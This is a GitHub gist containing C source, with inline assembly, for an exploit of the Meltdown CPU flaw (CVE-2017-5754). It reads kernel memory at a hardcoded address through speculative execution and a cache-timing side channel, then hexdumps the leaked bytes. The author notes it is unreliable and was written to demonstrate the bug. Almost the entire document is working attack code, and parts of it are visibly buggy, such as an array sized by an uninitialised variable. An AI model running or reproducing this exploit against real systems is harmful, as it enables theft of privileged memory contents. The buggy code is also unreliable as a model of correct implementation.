Created
January 7, 2018 04:01
-
-
Save bahorn/6be453127911bc4f27cf145bfc0a35b8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Here you have an exploit for CVE-2017-5754, otherwise known as "Meltdown". | |
* | |
* Mostly based on the paper [1], but it had to be adjusted a bit. | |
* I found that the Flush+Reload method didn't work as described (with a buffer | |
* of 256 pages) and had to do the binary method (which is otherwise faster, but | |
* more complex to implement). | |
* | |
* TSX is not present on many CPUs (including the one I wrote this exploit on), | |
* so I settled for handling the SEGV signal. | |
* | |
* [1] https://meltdownattack.com/meltdown.pdf | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <signal.h> | |
#include <sys/mman.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <setjmp.h> | |
#define TARGET 0xffffffff9c2001e0 | |
jmp_buf buf; | |
uint8_t k = 0; | |
uint32_t c = 0; | |
uint32_t | |
trigger(uint64_t address, uint8_t bit) | |
{ | |
if (!setjmp(buf)) { | |
__asm__ volatile ( | |
"movq %[address], %%r8\n" | |
"movq $0x100000, %%rbx\n" | |
"movb %[bit], %%cl\n" | |
"retry0:\n" | |
"xor %%rax, %%rax\n" | |
//"clflush 0x101000\n" | |
"clflush (0x100000)\n" | |
"mfence\n" | |
"lfence\n" | |
//"prefetcht0 (%%r8)\n" | |
"mov (%%r8), %%al\n" | |
"shr %%cl, %%rax\n" | |
"and $0x1, %%rax\n" | |
"imul $0x1000, %%rax\n" | |
"prefetcht0 (%%rbx, %%rax)\n" | |
//"prefetchnta (%%rbx, %%rax)\n" | |
"jz retry0\n" | |
"mov (%%rbx, %%rax), %%rbx \n" | |
: : [address] "r" (address), [bit] "r" (bit) | |
); | |
} | |
return c; | |
} | |
void | |
sidechannel() | |
{ | |
sigset_t signal_set; | |
uint32_t r; | |
__asm__ volatile ( | |
"mfence\n" | |
"lfence\n" | |
"rdtsc\n" | |
"lfence\n" | |
"movl %%eax, %%esi\n" | |
"lfence\n" | |
"movb (0x100000), %%al\n" | |
"lfence\n" | |
"rdtsc\n" | |
"lfence\n" | |
"subl %%esi, %%eax\n" | |
"movl %%eax, %0\n" | |
: "=r" (r) | |
); | |
__asm__ volatile ( | |
"clflush (0x101000)\n" | |
"clflush (0x100000)\n" | |
"lfence\n" | |
); | |
sigemptyset(&signal_set); | |
sigaddset(&signal_set, SIGSEGV); | |
sigprocmask(SIG_UNBLOCK, &signal_set, NULL); | |
c = r; | |
longjmp(buf, 1); | |
} | |
#define READ_N 100 | |
#define SKIP 1 | |
uint8_t | |
exploit(uint64_t address, uint32_t threshold) | |
{ | |
int i; | |
uint8_t j; | |
uint64_t above_t[j]; | |
uint8_t guess = 0; | |
uint64_t blah[8]; | |
uint32_t t[8]; | |
uint32_t o[8]; | |
for (i = 0; i < 8; i++) { | |
t[i] = 0; | |
blah[i] = 0; | |
above_t[i] = 0; | |
} | |
for (i = 0; i < READ_N; i++) { | |
for (j = 0; j < 8; j++) { | |
t[j] = trigger(address, j); | |
if (i >= SKIP && t[j] <= threshold) above_t[j] += 1; | |
} | |
} | |
for (i = 0; i < 8; i++) { | |
o[i] = (above_t[i] < 60); | |
guess += (o[i] << i); | |
} | |
//printf("%02X ", guess); | |
return guess; | |
} | |
void * | |
dump(uint8_t *block, uint64_t address, size_t len, uint32_t threshold) | |
{ | |
size_t i; | |
for (i = 0; i < len; i++) { | |
block[i] = exploit(address+i, threshold); | |
} | |
} | |
void * | |
hexdump(uint8_t *block, uint64_t address, size_t len, int row) | |
{ | |
size_t i; | |
for (i = 0; i < len; i++) { | |
if (i%row == 0) { | |
printf("\n0x%016x | ", address+i); | |
} | |
printf("%02X ", block[i]); | |
} | |
printf("\n"); | |
} | |
int | |
main(int argc, char *argv[]) | |
{ | |
struct sigaction handler; | |
int bytes=0; | |
uint32_t threshold = 0; | |
uint64_t step = 1; | |
uint64_t t_step = 0; | |
uint32_t row = 0; | |
uint64_t address; | |
char *a = NULL; | |
if (argc != 5) { | |
printf("[*] r34d th3 src\n"); | |
exit(-1); | |
} | |
address = TARGET; | |
bytes = atoi(argv[1]); | |
threshold = atoi(argv[2]); | |
step = atoi(argv[3]); | |
row = atoi(argv[4]); | |
printf("[!] meltr - exploit for meltdown - a - 2018\n"); | |
a = mmap((void *)0x100000, getpagesize()*2, PROT_WRITE|PROT_READ, | |
MAP_ANONYMOUS|MAP_SHARED, -1, 0); | |
if (a == NULL) { | |
printf("[*] UNABLE TO ALLOCATE PROBE BUFFER ?1/1?!\n"); | |
exit(-1); | |
} | |
printf("[!] Allocated probe buffer\n"); | |
handler.sa_handler = sidechannel; | |
sigaction(SIGSEGV, &handler, NULL); | |
printf("[!] Set SEGV handler\n"); | |
printf("[!] Reading %i bytes from 0x%08x\n", bytes, address); | |
int i; | |
/*for (i = 0; i < bytes; i++) { | |
if (i%row == 0) { | |
if (i!=0) t_step += step*row; | |
printf("\n0x%016x | ", address+(i%row)+t_step); | |
} | |
exploit(address+(i%row)+t_step, threshold); | |
}*/ | |
uint8_t * block = NULL; | |
block = malloc(bytes); | |
if (block == NULL) { | |
printf("[!] Unable to allocate memory for our data?!\n"); | |
} | |
memset(block, 0, sizeof(block)); | |
dump(block, address, 1024, threshold); | |
hexdump(block, address, bytes, row); | |
printf("\n"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
some exploit I wrote for meltdown. not that reliable, but cool to demonstrate the bug behind it.